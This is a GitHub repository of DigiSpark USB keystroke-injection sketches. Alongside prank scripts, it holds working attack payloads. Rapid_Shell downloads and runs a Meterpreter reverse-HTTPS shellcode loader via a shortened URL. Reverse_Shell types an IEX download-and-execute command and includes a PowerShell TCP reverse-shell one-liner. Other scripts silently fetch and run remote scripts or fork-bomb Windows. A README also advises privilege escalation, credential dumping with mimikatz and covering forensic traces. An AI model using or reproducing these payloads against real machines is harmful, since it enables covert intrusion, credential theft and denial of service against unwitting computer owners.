├── CONTRIBUTING.md ├── Execute_Powershell_Script └── Execute_Powershell_Script.ino ├── Fork_Bomb └── Fork_Bomb.ino ├── LICENSE ├── Password_Generator └── Password_Generator.ino ├── Pinger └── Pinger.ino ├── README.md ├── Rapid_Shell ├── README.md ├── Rapid_Shell.ino └── az_qw_convert.sh ├── Reverse_Shell ├── Invoke-PowerShellTcpOneLine.ps1 ├── README.md └── Reverse_Shell.ino ├── RickRoll_Update └── RickRoll_Update.ino ├── Talker └── Talker.ino ├── Wallpaper_Changer └── Wallpaper_Changer.ino ├── Wallpaper_Prank └── Wallpaper_Prank.ino ├── Wallpaper_Prank_Update └── Wallpaper_Prank_Update.ino ├── WiFi_Info_Display └── WiFi_Info_Display.ino ├── WiFi_Profile_Grabber └── WiFi_Profile_Grabber.ino ├── WiFi_Profile_Mailer ├── README.md ├── WiFi_Profile_Mailer.ino └── WiFi_Profile_Mailer_New.ino ├── Window_Jammer └── Window_Jammer.ino └── _config.yml /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing to DigiSpark-Scripts 2 | 3 | Have you created a brand new awesome DigiSpark HID script? Have you converted a cool USB Rubber Ducky Script to the DigiSpark? 4 | Share it with the community by adding it to our repository! 5 | 6 | # Instructions 7 | 8 | 1. Create / Convert your script. Test it extensively and add tidy comments in it to explain in great detail what the script does. 9 | 2. Fork the repository. 10 | 3. Create a folder named "-nameOfYourScript-" and inside place the -nameOfYourScript-.ino that you created using Arduino IDE. 11 | 4. Create a small README.md file in the same folder describing your scripts function. 12 | 5. Create a pull request by the title "[Script] -nameOfYourScript-" 13 | -------------------------------------------------------------------------------- /Execute_Powershell_Script/Execute_Powershell_Script.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark scripts downloads and executes a powershell script in hidden mode. 2 | #include "DigiKeyboard.h" 3 | void setup() { 4 | } 5 | 6 | void loop() { 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(500); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.print("powershell"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.print("$client = new-object System.Net.WebClient"); 15 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 16 | DigiKeyboard.delay(500); 17 | DigiKeyboard.print("$client.DownloadFile(\"https://scriptURL\" , \"script.ps1\")"); 18 | DigiKeyboard.delay(1000); 19 | DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT | KEY_R); 20 | DigiKeyboard.delay(750); 21 | //If the system hasn't been configured to run scripts, uncomment the lines bellow 22 | //DigiKeyboard.print("powershell Start-Process cmd -Verb runAs"); 23 | //DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | //DigiKeyboard.delay(750); 25 | //DigiKeyboard.sendKeyStroke(MOD_ALT_LEFT, KEY_Y); 26 | //DigiKeyboard.delay(750); 27 | //DigiKeyboard.print("powershell Set-ExecutionPolicy 'Unrestricted' -Scope CurrentUser -Confirm:$false"); 28 | //DigiKeyboard.sendKeyStroke(KEY_ENTER); 29 | //DigiKeyboard.delay(750); 30 | DigiKeyboard.print("powershell.exe -windowstyle hidden -File %USERPROFILE%\\script.ps1"); 31 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 32 | for (;;) { 33 | /*empty*/ 34 | } 35 | 36 | } 37 | -------------------------------------------------------------------------------- /Fork_Bomb/Fork_Bomb.ino: -------------------------------------------------------------------------------- 1 | //This script opens up a Windows command prompt and makes it open up another instance of itself and so on until the machine can take it no more and either locks or crashes. Credits to BlackBoot. 2 | #include "DigiKeyboard.h" 3 | void setup() { 4 | } 5 | 6 | void loop() { 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(500); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.print("cmd"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(500); 14 | //Obfuscate the terminal 15 | DigiKeyboard.print("MODE CON: COLS=15 LINES=1"); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | DigiKeyboard.delay(100); 18 | DigiKeyboard.print("COLOR EF"); 19 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 20 | //Run the fork bomb 21 | DigiKeyboard.delay(500); 22 | DigiKeyboard.print(F("for /l %x in (1,1,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) do start")); 23 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 24 | for (;;) { 25 | /*Stops the digispark from running the scipt again*/ 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 CedArctic 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Password_Generator/Password_Generator.ino: -------------------------------------------------------------------------------- 1 | //NOTE: This is meant to be used on Linux machines 2 | 3 | #include "DigiKeyboard.h" 4 | 5 | void setup() { 6 | pinMode(0, OUTPUT); //LED on Model B 7 | pinMode(1, OUTPUT); //LED on Model A 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(500); 10 | DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.println("terminal"); 13 | DigiKeyboard.delay(1250); 14 | DigiKeyboard.println("cd Downloads"); 15 | DigiKeyboard.delay(100); 16 | DigiKeyboard.println("nano passwd.txt"); 17 | DigiKeyboard.delay(100); 18 | } 19 | 20 | void loop() { 21 | digitalWrite(0, HIGH); // turn the LED on (HIGH is the voltage level) 22 | digitalWrite(1, HIGH); 23 | char passwd[12]; 24 | for(int x=0; x<12; x++) passwd[x]=random(33, 127); 25 | DigiKeyboard.println(String(passwd)); 26 | DigiKeyboard.delay(50); 27 | digitalWrite(0, LOW); // turn the LED off by making the voltage LOW 28 | digitalWrite(1, LOW); 29 | delay(50); // wait for a second 30 | } 31 | -------------------------------------------------------------------------------- /Pinger/Pinger.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | 3 | void setup() { 4 | // don't need to set anything up to use DigiKeyboard 5 | } 6 | 7 | void loop() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.println("terminal"); 12 | DigiKeyboard.delay(1000); 13 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 14 | DigiKeyboard.delay(500); 15 | DigiKeyboard.println("ping /t google.com"); 16 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 17 | //DigiKeyboard.delay(5000); 18 | } 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![alt text](https://cdn.instructables.com/FKP/MAA2/HH2VJNW1/FKPMAA2HH2VJNW1.MEDIUM.jpg "The DigiSpark") 2 | 3 | # DigiSpark-Scripts 4 | This is a set of hand-written DigiSpark sketches for the Arduino IDE that utilize the DigiKeyboard.h library making the DigiSpark to act as a keyboard and execute a variety of actions. If you have found a USB Rubber Ducky scipt that you want to convert to a DigiSpark sketch, you can always use digiQuack, a tool which can be found in my repositories. 5 | 6 | # Instructions 7 | Configure the Arduino IDE for the DigiSpark using: https://digistump.com/wiki/digispark/tutorials/connecting or Seytonic's tutorial: https://youtu.be/fGmGBa-4cYQ. Then download one of scripts (sketches), open them with Arduino IDE, modify them if needed and upload them to the DigiSpark. 8 | 9 | # Script Descriptions 10 | >RickRoll_Update : Plays Never Gonna Give you up while performing a fake windows update. 11 | 12 | >WallpaperChanger : Downloads and applies a wallpaper via powershell. 13 | 14 | >Wallpaper_Prank : Takes a screenshot of the desktop, sets it as the wallpaper, hides desktop icons. 15 | 16 | >Talker : Opens up powershell and speaks out a message. 17 | 18 | >PowerShell Script Executer : Downloads and runs a powershell script. 19 | 20 | >WiFi_Profile_Grabber: Using cmd, extracts wifi profiles and saves the csv to the usb mounted on d:\ 21 | 22 | >WiFi_Profile_Mailer : Writes the wireless network credentials to a csv file and emails it. 23 | 24 | >Fork_Bomb : Opens up an obfuscated windows terminal and makes it multiply itself uncontrolably causing the machine to either lock or crash. 25 | 26 | >Rapid_Shell : Seamlessly executes metasploit payloads through powershell. 27 | 28 | >Reverse_Shell : Opens a reverse shell in 3 seconds. 29 | 30 | >Window_Jammer : Spams ALT + F4 and CTRL + W key combos to force close all active windows. 31 | 32 | >Wallpaper_Prank_Update : Makes all the desktop icons unclickable and indefinitely gives the appearance that Windows is updating 33 | 34 | >Password_Generator : Uses Bash to create a list of randomly-generated passwords and save it in the user's Downloads folder 35 | 36 | >Pinger : Opens command prompt and pings to [google.com](google.com) 37 | 38 | >WiFi_Info_Display : Opens command prompt and displays network information using ipconfig 39 | 40 | # See the scripts in action 41 | 42 | Click the gifs to see the full video 43 | 44 | [![Wifi Stealer](https://j.gifs.com/N9KP5v.gif)](https://www.youtube.com/watch?v=b5E0u4qNH4s) 45 | 46 | [![Wallpaper Prank](https://j.gifs.com/32r7ER.gif)](https://www.youtube.com/watch?v=yHPRZnpxvks) 47 | 48 | # Credits, contributors and resources: 49 | 50 | -samratashok for the Nishang reverse shell used in Reverse_Shell. 51 | 52 | -nassimosaz for the Rapid_Shell script. 53 | 54 | -p0wc0w for the original WiFi Grabber and Mailer Scripts. 55 | 56 | -BlackBoot for the original fork bomb. 57 | 58 | -hak5darren for the USB Rubber Ducky Documentation: https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript 59 | 60 | -Digistump for the DigiSpark and their documentation: https://github.com/digistump/DigisparkArduinoIntegration/blob/master/libraries/DigisparkKeyboard/DigiKeyboard.h 61 | 62 | -usb.org for the USB Usage IDs on page 53: http://www.usb.org/developers/hidpage/Hut1_12v2.pdf 63 | -------------------------------------------------------------------------------- /Rapid_Shell/README.md: -------------------------------------------------------------------------------- 1 | # This script does the following: 2 | 1. Starts Command prompt as Administrator 3 | 2. Run a powershell script which self-creates/opens a metasploit payload seemlessly 4 | 3. Exits letting down everything as it was at the beginning 5 | 6 | - Maximum running time: 30 seconds (+- 5 seconds <--> dependent); 7 | - Exposed time: 15 seconds (means in 50% of time since plugging in the Digispark, the screen will have movement) 8 | 9 | # Additional information: 10 | #### How it works: 11 | The Digispark once it is plugged in will take 5 seconds for the bootloader, and starts its job when the second led lights up, it will first open CMD as administrator using the start menu and create a new file which will be used to trigger the attack and open the shell. 12 | There is another way to open CMD as administrator, which is using the run prompt and running this command: "powershell Start-Process cmd -Verb runAs" but it showed that it takes much time to open the powershell prompt. If you desire to use this method (cmd_2) refer to the comments in the code. 13 | #### Tricks: 14 | - You can reduce the running time by 5-8 seconds by tricking the bootloader, visit [this page](https://digistump.com/wiki/digispark/tricks) for more. 15 | - The powershell script features a 6 seconds screensaver to hide the backdooring process, we will make it possible to disable/enable in the future. 16 | - If the keyboard layout of the target machine is not in QWERTY/English you can use the bash script on a linux machine to convert text from AZERTY <--> QWERTY and vice versa. 17 | 18 | # Known issues: 19 | 20 | Found that my metasploit just sat at "Meterpreter shell 1 opened at....". This could be because it attempts to automatically run the smart_migrate module upon connection. All I did to resolve this was to hit enter to get the msf prompt back, and then connect into the meterpreter session and run smart_migrate automatically. 21 | 22 | Smart_migrate can be found at 23 | 24 | post/windows/manage/smart_migrate 25 | 26 | in the metasploit trunk. Although, be warned - smart_migrate automatically attempts to migrate into explorer.exe which ##DOES NOT## have an administrative privileges. So, you'll have to utilise the post modules to grant yourself admin and eventually even SYSTEM (If you want to dump firefox/chrome/IE passwords, hashes or use mimikatz or WCE to get the wDigest passwords from memory). I'd recommend the bypass_uac or ask modules to grab yourself admin - particularly ask in lower security environments. 27 | 28 | # For the Forensics Conscious: 29 | If you're concerned about remaining undetected on the machine you've got the shell on, then I recommend the following steps: 30 | 31 | 1. Delete tmp.cmd from %TEMP% - You don't want to come back to bite you on the ass once you're done with the machine. 32 | 33 | 2. Kill the powershell.exe process once you've migrated out of it. 34 | 35 | Hope you all enjoy! I know many of you will find good use of this, and as always - use responsibly! 36 | # Credits: 37 | - https://github.com/PowerShellMafia/PowerSploit/ 38 | - https://github.com/nassimosaz 39 | -------------------------------------------------------------------------------- /Rapid_Shell/Rapid_Shell.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | // This script is designed for use on Windows machines with QWERTY as a keyboard layout 3 | // As DigiKeyboard Library does not support AZERTY text yet in print(), you have to use the "az_qw_convert.sh" script to convert AZERTY to QWERTY layout. 4 | // For more scripts checkout: https://git.io/vAGf4 5 | // Developer: NBN | 02/13/2018 @19:00 UTC 6 | void setup() { 7 | // Initialize the digital pin as an output. 8 | pinMode(1, OUTPUT); //LED on Model A 9 | } 10 | void cmd_1() { 11 | DigiKeyboard.sendKeyStroke(0, MOD_GUI_LEFT); 12 | DigiKeyboard.delay(1500); 13 | DigiKeyboard.print("c;d"); 14 | DigiKeyboard.delay(1500); 15 | DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT | MOD_SHIFT_LEFT); 16 | DigiKeyboard.delay(1000); 17 | DigiKeyboard.sendKeyStroke(0); 18 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 21 | } 22 | void cmd_2() { 23 | DigiKeyboard.sendKeyStroke(0); 24 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 25 | DigiKeyboard.delay(500); 26 | DigiKeyboard.println("powershell Start-Process cmd -Verb runAs"); 27 | DigiKeyboard.delay(1500); 28 | DigiKeyboard.sendKeyStroke(0); 29 | DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); 30 | DigiKeyboard.delay(500); 31 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 32 | } 33 | // Infinite loop 34 | void loop() { 35 | 36 | DigiKeyboard.sendKeyStroke(0); 37 | DigiKeyboard.delay(500); 38 | digitalWrite(1, HIGH); // LED on <--> Action start 39 | cmd_1(); // Open CMD in Administrator Privileges using METHOD 1 (UNCOMMENT TO USE) 40 | //cmd_2(); // Open CMD in Administrator Privileges using METHOD 2 (UNCOMMENT TO USE) 41 | DigiKeyboard.delay(1500); 42 | DigiKeyboard.println("MODE CON: COLS=15 LINES=1"); 43 | DigiKeyboard.delay(250); 44 | DigiKeyboard.println("cd %TEMP%"); // Change to temp directory 45 | DigiKeyboard.delay(250); 46 | DigiKeyboard.println("copy con tmp.cmd"); // Create the file tmp.cmd 47 | DigiKeyboard.delay(500); 48 | DigiKeyboard.println("start C:/Windows/System32/Ribbons.scr /s"); 49 | DigiKeyboard.delay(250); 50 | DigiKeyboard.println("powershell "IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/14bZZ0c'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost -Lport -Force""); // Edit both Lhost and Lport according to your setup 51 | DigiKeyboard.delay(250); 52 | DigiKeyboard.sendKeyStroke(KEY_W, MOD_CONTROL_LEFT); // Save the file and return to cmd shell use delay of 500ms 53 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 54 | DigiKeyboard.delay(500); 55 | DigiKeyboard.println("tmp.cmd && exit"); // Start the payload file and exit (DANGEROUS/OFFENSIVE STEP! Please comment this line if you want to test inoffensively on your own PC) 56 | digitalWrite(1, LOW); // LED off <--> Action end 57 | for(;;){ /*Infinite loop to disconnect device*/ } 58 | } 59 | -------------------------------------------------------------------------------- /Rapid_Shell/az_qw_convert.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | #!/bin/bash 3 | 4 | #az_qw_convert.sh - Enhanced by NBN - (Case sensitive input) 5 | #Dependencies: sed 6 | 7 | echo "Do you want to convert :\n\n1. QWERTY to AZERTY\n2. AZERTY to QWERTY "; read chx 8 | if test "$chx" -eq "1"; then 9 | sleep .5 10 | echo "Please, insert the text you want to convert in AZERTY"; read txt 11 | sleep .5 12 | echo "$txt" | sed 'y/qQaAzZwWmM,<.;:/aAqQwWzZ,?;.:mM/' | sed "y/4'/'ù/" | sed 'y/123567890-_!@#$%^&*()[{]}¦"?/&é"(-è_çà)°1234567890^¨$£µ%§/' | sed 'y/>\\\//\/*!/' 13 | elif test "$chx" -eq "2"; then 14 | sleep .5 15 | echo "Please, insert the text you want to convert in QWERTY "; read txt 16 | sleep .5 17 | echo "$txt" | sed 'y/aAqQwWzZ,?;.:mM/qQaAzZwWmM,<.;:/' | sed "y/!\//\/>/" | sed 'y/&é"(-è_çà)°1234567890^¨$£µ%§/123567890-_!@#$%^&*()[{]}¦"?/' | sed "y/ù'/'4/" 18 | else 19 | exit 20 | fi 21 | 22 | -------------------------------------------------------------------------------- /Reverse_Shell/Invoke-PowerShellTcpOneLine.ps1: -------------------------------------------------------------------------------- 1 | #A simple and small reverse shell by samratashok's Nishang framework. Change the Host IP Address and Port according to your setup as described in the README file of the script. 2 | #$sm=(New-Object Net.Sockets.TCPClient("HOST_IP_ADDRESS",4444)).GetStream();[byte[]]$bt=0..65535|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)} 3 | -------------------------------------------------------------------------------- /Reverse_Shell/README.md: -------------------------------------------------------------------------------- 1 | # DigiSpark Reverse Shell Script: 2 | This DigiSpark script downloads and executes the Invoke-PowerShellTcpOneLine.ps1 powershell script which essentially opens a netcat reverse shell from a Windows machine to the host computer in about 3 seconds. 3 | 4 | ## Instructions: 5 | ### On the host machine (I assume you are using linux for this): 6 | 1. Open a netcat listener on a port (the script uses port 4444 by default): `nc -lp 444` 7 | 2. Download and modify the Invoke-PowerShellTcpOneLine.ps1 by removing the first line comment and changing the IP address to the one of your host machine and the port to the one you chose earlier. 8 | 3. You now need to host the payload on a web server so it can be downloaded on the Windows computer. There are many ways to do this, but for anyone who wants a quick and easy solution you can host a php web server from the linux terminal like this: `sudo php -S 0.0.0.0:80 -t /directory/to/folder/of/powershellScript/` 9 | 4. Download and edit the `Reverse_Shell.ino` DigiSpark script to match the address where the ps1 powershell script is hosted and compile and load `Reverse_Shell.ino` to your DigiSpark. 10 | 11 | ### On the Windows machine: 12 | Plug in the DigiSpark and enjoy your reverse shell on the host machine! 13 | 14 | Hope you all enjoy this script and as always use it responsibly! 15 | 16 | ## Credits: 17 | - hak5: https://www.hak5.org/episodes/hak5-2110-how-to-get-a-reverse-shell-in-3-seconds-with-the-usb-rubber-ducky 18 | - samratashok for Nishang: https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1 19 | -------------------------------------------------------------------------------- /Reverse_Shell/Reverse_Shell.ino: -------------------------------------------------------------------------------- 1 | // This script downloads and executes a powershell script efectively opening up a reverse shell in less than 3 seconds. 2 | // Credits to hak5 and samratashok (developer of the nishang framework). 3 | 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | } 7 | 8 | void loop() { 9 | DigiKeyboard.sendKeyStroke(0); 10 | DigiKeyboard.delay(500); 11 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 12 | DigiKeyboard.delay(500); 13 | DigiKeyboard.print("powershell \"IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/payload.ps1');\""); 14 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 15 | for (;;) { 16 | /*Stops the digispark from running the scipt again*/ 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /RickRoll_Update/RickRoll_Update.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script opens up Rick Astley's - Never Gonna Give You Up and also a fake Windows update screen and then maximizes it using F11 2 | #include "DigiKeyboard.h" 3 | void setup() { 4 | //empty 5 | } 6 | void loop() { 7 | DigiKeyboard.delay(2000); 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(600); 11 | DigiKeyboard.print("https://youtu.be/dQw4w9WgXcQ?t=43s"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(5000); 14 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 15 | DigiKeyboard.delay(3000); 16 | DigiKeyboard.print("http://fakeupdate.net/win10u/index.html"); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(2000); 19 | DigiKeyboard.sendKeyStroke(KEY_F11); 20 | for(;;){ /*empty*/ } 21 | } 22 | -------------------------------------------------------------------------------- /Talker/Talker.ino: -------------------------------------------------------------------------------- 1 | //This DigiSpark script opens up the powershell and makes your computer speak out a message. 2 | #include "DigiKeyboard.h" 3 | void setup() { 4 | } 5 | 6 | void loop() { 7 | DigiKeyboard.sendKeyStroke(0); 8 | DigiKeyboard.delay(100); 9 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 10 | DigiKeyboard.delay(100); 11 | DigiKeyboard.print("powershell"); 12 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 13 | DigiKeyboard.delay(3000); 14 | DigiKeyboard.print("Add-Type -AssemblyName System.speech"); 15 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 16 | DigiKeyboard.delay(100); 17 | DigiKeyboard.print("$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer"); 18 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 19 | DigiKeyboard.delay(100); 20 | //Uncomment these lines to use a female voice 21 | //DigiKeyboard.print("$speak.SelectVoice('Microsoft Zira Desktop')"); 22 | //DigiKeyboard.sendKeyStroke(KEY_ENTER); 23 | //DigiKeyboard.delay(500); 24 | DigiKeyboard.print("$speak.Speak(\"Here's a joke. Why do Java programmers wear glasses? Because they can't C#.\")"); 25 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 26 | DigiKeyboard.delay(100); 27 | DigiKeyboard.print("exit"); 28 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 29 | DigiKeyboard.delay(100); 30 | DigiKeyboard.sendKeyStroke(KEY_SPACE, MOD_ALT_LEFT); 31 | DigiKeyboard.sendKeyStroke(KEY_N); 32 | for (;;) { 33 | /*empty*/ 34 | } 35 | 36 | } 37 | -------------------------------------------------------------------------------- /Wallpaper_Changer/Wallpaper_Changer.ino: -------------------------------------------------------------------------------- 1 | //This DigiKeyboard Script downloads and sets a wallpaper through the Windows PowerShell. It has been tested successfully 2 | //on Windows 10 and should probably work with Windows 7/8/8.1 etc. 3 | 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | //empty 7 | } 8 | void loop() { 9 | DigiKeyboard.sendKeyStroke(0); 10 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.print("powershell"); 15 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 16 | DigiKeyboard.delay(500); 17 | DigiKeyboard.print("$client = new-object System.Net.WebClient"); 18 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 19 | DigiKeyboard.delay(500); 20 | DigiKeyboard.print("$client.DownloadFile(\"https://tr3.cbsistatic.com/hub/i/2014/05/15/f8964afd-bd82-4e0e-bcbe-e927363dcdc1/3b858e39e2cf183b878f54cad0073a67/codedoge.jpg\" , \"doge.jpg\")"); 21 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 22 | DigiKeyboard.delay(500); 23 | DigiKeyboard.print("reg add \"HKCU\\Control Panel\\Desktop\" /v WallPaper /d \"%USERPROFILE%\\doge.jpg\" /f"); 24 | DigiKeyboard.delay(500); 25 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 26 | DigiKeyboard.delay(500); 27 | DigiKeyboard.print("RUNDLL32.EXE USER32.DLL,UpdatePerUserSystemParameters ,1 ,True"); 28 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 29 | DigiKeyboard.delay(500); 30 | DigiKeyboard.print("exit"); 31 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 32 | for(;;){ /*empty*/ } 33 | } 34 | -------------------------------------------------------------------------------- /Wallpaper_Prank/Wallpaper_Prank.ino: -------------------------------------------------------------------------------- 1 | //This DigiKeyboard Script takes a screenshot of the desktop, sets it as the wallpaper and hides the desktop icons. 2 | //Work with Windows XP(?)/Vista(?)/7/8/8.1/10 etc. 3 | 4 | #include "DigiKeyboard.h" 5 | void setup() { 6 | //empty 7 | } 8 | void loop() { 9 | DigiKeyboard.sendKeyStroke(0); 10 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.sendKeyStroke(70, MOD_ALT_LEFT); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.print("mspaint"); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(800); 19 | DigiKeyboard.sendKeyStroke(KEY_V, MOD_CONTROL_LEFT); 20 | DigiKeyboard.delay(500); 21 | DigiKeyboard.sendKeyStroke(KEY_S, MOD_CONTROL_LEFT); 22 | DigiKeyboard.delay(600); 23 | DigiKeyboard.print("%USERPROFILE%\\wall.jpg"); 24 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 25 | DigiKeyboard.delay(600); 26 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 27 | DigiKeyboard.delay(500); 28 | DigiKeyboard.sendKeyStroke(KEY_K); 29 | DigiKeyboard.delay(500); 30 | DigiKeyboard.sendKeyStroke(KEY_F); 31 | DigiKeyboard.delay(500); 32 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 33 | DigiKeyboard.delay(500); 34 | DigiKeyboard.sendKeyStroke(KEY_X); 35 | DigiKeyboard.delay(600); 36 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 37 | DigiKeyboard.delay(500); 38 | DigiKeyboard.sendKeyStroke(KEY_F10, MOD_SHIFT_LEFT); 39 | DigiKeyboard.delay(500); 40 | DigiKeyboard.sendKeyStroke(KEY_V); 41 | DigiKeyboard.delay(200); 42 | DigiKeyboard.sendKeyStroke(81); 43 | DigiKeyboard.delay(200); 44 | DigiKeyboard.sendKeyStroke(81); 45 | DigiKeyboard.delay(200); 46 | DigiKeyboard.sendKeyStroke(81); 47 | DigiKeyboard.delay(200); 48 | DigiKeyboard.sendKeyStroke(81); 49 | DigiKeyboard.delay(200); 50 | DigiKeyboard.sendKeyStroke(81); 51 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 52 | for(;;){ /*empty*/ } 53 | } 54 | -------------------------------------------------------------------------------- /Wallpaper_Prank_Update/Wallpaper_Prank_Update.ino: -------------------------------------------------------------------------------- 1 | #include "DigiKeyboard.h" 2 | 3 | int led = 0; // Change to pin 1 for MODEL A 4 | int on_wait = 1000; // How long to toggle CAPS LOCK for. 5 | int off_wait = 5000; // Delay between toggles. 6 | 7 | void setup() { 8 | DigiKeyboard.sendKeyStroke(0); 9 | DigiKeyboard.delay(500); 10 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT); 11 | DigiKeyboard.delay(500); 12 | DigiKeyboard.sendKeyStroke(70, MOD_ALT_LEFT); 13 | DigiKeyboard.delay(500); 14 | DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); 15 | DigiKeyboard.delay(500); 16 | DigiKeyboard.print("mspaint"); 17 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 18 | DigiKeyboard.delay(800); 19 | DigiKeyboard.sendKeyStroke(KEY_V, MOD_CONTROL_LEFT); 20 | DigiKeyboard.delay(500); 21 | DigiKeyboard.sendKeyStroke(KEY_S, MOD_CONTROL_LEFT); 22 | DigiKeyboard.delay(600); 23 | DigiKeyboard.print("%USERPROFILE%\\wall.jpg"); 24 | DigiKeyboard.sendKeyStroke(KEY_ENTER); 25 | DigiKeyboard.delay(600); 26 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT); 27 | DigiKeyboard.delay(500); 28 | DigiKeyboard.sendKeyStroke(KEY_K); 